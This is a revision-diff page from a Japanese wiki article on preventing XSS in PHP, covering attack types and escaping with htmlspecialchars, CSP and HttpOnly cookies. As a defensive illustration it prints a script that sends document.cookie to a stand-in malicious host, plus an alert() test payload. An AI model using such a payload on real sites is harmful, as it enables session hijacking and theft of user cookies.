「PHPの基礎 - XSS対策」の版間の差分

提供:MochiuWiki : SUSE, EC, PCB
ナビゲーションに移動 検索に移動
29行目: 29行目:


== htmlspecialchars関数の使用 ==
== htmlspecialchars関数の使用 ==
htmlspecialchars関数は、<u>反射型XSS</u>と<u>格納型XSS</u>の防止に効果的である。<br>
これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。<br>
<br>
ただし、htmlspecialchars関数を使用する場合も、第2引数に<code>ENT_QUOTES</code>を指定して、文字エンコーディングを明示的に指定することが必要である。<br>
これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。<br>
<br>
HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。<br>
HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。<br>
<br>
例えば、データベースに<u>"<script>alert('攻撃')</script>"</u>のような悪意のあるスクリプトが格納されている場合、<br>
例えば、データベースに<u>"<script>alert('攻撃')</script>"</u>のような悪意のあるスクリプトが格納されている場合、htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。<br>
htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。<br>
<br>
<br>
htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "&lt;") されて、スクリプトが実行されなくなる。<br>
htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "&lt;") されて、スクリプトが実行されなくなる。<br>

2024年12月28日 (土) 03:22時点における版

概要

XSS (クロスサイトスクリプティング) 攻撃は、Webアプリケーションの脆弱性を利用して、悪意のあるスクリプトをユーザのWebブラウザで実行させる攻撃手法である。

主な攻撃タイプには、反射型XSS、格納型XSS、DOMベースXSSがある。

  • 反射型XSS
    ユーザの入力データがそのままレスポンスとして返される場合に発生する。
  • 格納型XSS
    悪意のあるスクリプトがデータベースに保存されて、他のユーザがページを閲覧した時に実行される。
  • DOMベースXSS
    クライアントサイドのJavaScriptによってDOMが動的に変更される時に発生する。


PHPでの対策として、htmlspecialchars関数を使用してHTML特殊文字をエスケープする。

 $safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');


その他の重要な対策として、Content Security Policy (CSP) の実装、HTTPOnly属性の設定、入力値の適切なバリデーション、出力時のエンコーディング、最新のPHPフレームワークの使用等が挙げられる。

実際の攻撃例として、以下に示すようなスクリプトが挿入される可能性がある。

これにより、ユーザのクッキー情報が攻撃者のサーバーに送信される可能性がある。
このような攻撃を防ぐために、適切なエスケープ処理と入力検証が不可欠である。

 <script>
 document.location='http://악성サイト.com/steal.php?cookie='+document.cookie;
 </script>



htmlspecialchars関数の使用

htmlspecialchars関数は、反射型XSS格納型XSSの防止に効果的である。
これらのXSS攻撃は、HTMLの出力時にスクリプトが実行される仕組みを利用するためである。

ただし、htmlspecialchars関数を使用する場合も、第2引数にENT_QUOTESを指定して、文字エンコーディングを明示的に指定することが必要である。
これにより、シングルクォートとダブルクォートの両方が適切にエスケープされる。

HTMLコンテンツを出力する場合は、htmlspecialchars関数を使用する。
例えば、データベースに"<script>alert('攻撃')</script>"のような悪意のあるスクリプトが格納されている場合、
htmlspecialchars関数を使用しないと、そのスクリプトがWebブラウザで実行される可能性がある。

htmlspecialchars関数を使用する場合、特殊文字がHTMLエンティティに変換 (例: "<" -> "<") されて、スクリプトが実行されなくなる。

ただし、以下のような場合には、htmlspecialchars関数は不要である。

  • JSONとして出力する場合 (json_encode関数の使用時)
  • データベースへの保存時
  • HTMLとして解釈させる場合 (信頼できるソースからのデータの場合のみ)